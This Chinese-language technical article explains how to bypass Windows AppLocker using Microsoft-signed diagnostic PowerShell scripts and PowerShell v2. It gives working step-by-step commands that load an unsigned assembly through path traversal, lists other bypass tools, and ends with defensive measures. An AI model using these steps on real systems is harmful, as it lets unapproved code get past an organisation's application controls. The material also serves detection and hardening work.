利用PowerShell诊断脚本绕过AppLocker的技术分析
概述
本文详细分析如何利用Windows系统内置的诊断脚本(CL_Invocation.ps1和CL_LoadAssembly.ps1)来执行命令并绕过AppLocker限制的技术。这些脚本位于%systemroot%\diagnostics\system\目录下,具有微软的数字签名,因此在默认情况下被系统信任。
关键脚本分析
CL_Invocation.ps1
位置:%systemroot%\diagnostics\system\AERO\或%systemroot%\diagnostics\system\Audio\
功能:
- 提供
SyncInvoke函数 - 通过
System.Diagnostics.Process执行二进制文件
使用方法:
. CL_Invocation.ps1 # 或 import-module CL_Invocation.ps1
SyncInvoke <command> <arg...>
限制:
- PowerShell约束语言模式(PSv5)会阻止执行
- 默认AppLocker策略会阻止非特权账户执行未签名二进制文件
CL_LoadAssembly.ps1
位置:同上
功能:
- 提供两个加载.NET/C#程序集(DLL/EXE)的函数:
LoadAssemblyFromNS:从命名空间加载LoadAssemblyFromPath:从文件路径加载
绕过AppLocker的技术实现
准备工作
-
准备一个简单的C#程序集(以.NET 2.0为目标框架),例如
funrun.exe,其功能是通过proc.start()运行calc.exe -
在启用默认AppLocker规则的Windows系统上测试:
- 直接运行
funrun.exe会被阻止 - 在PowerShell v5中运行也会被阻止
- 直接运行
绕过步骤
-
调用PowerShell版本2(必须已启用):
powershell -v 2 -ep bypass -
导航到诊断脚本目录:
cd C:\windows\diagnostics\system\AERO -
导入模块:
import-module .\CL_LoadAssembly.ps1 -
通过路径遍历加载程序集:
LoadAssemblyFromPath ..\..\..\..\temp\funrun.exe -
调用程序集方法:
[funrun.hashtag]::winning()
技术原理
-
数字签名信任:这些脚本具有微软的数字签名,被系统视为可信
-
路径遍历:利用相对路径访问系统目录外的程序集文件
-
PowerShell版本差异:PowerShell v2的安全限制较少,可以绕过约束语言模式
-
程序集加载:通过.NET程序集加载机制绕过AppLocker对可执行文件的直接限制
防御措施
-
禁用PowerShell v2(如果不需要)
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 -
限制对
%systemroot%\diagnostics\system\目录的访问 -
监控PowerShell v2的使用情况
-
实施更严格的AppLocker规则,包括对.NET程序集加载的限制
-
启用PowerShell脚本块日志记录和约束语言模式
替代方法
如果上述方法不可行,可以参考"Ultimate AppLocker Bypass List"中列出的其他绕过技术,包括但不限于:
- 使用InstallUtil
- 使用Regsvr32
- 使用Mshta
- 使用Cscript/Wscript
结论
利用系统内置的信任组件是绕过安全限制的有效方法。安全团队应全面了解系统内置工具的功能,并实施纵深防御策略来应对此类技术。定期审计系统上的脚本和二进制文件,限制不必要的功能,并监控异常活动是防御此类攻击的关键。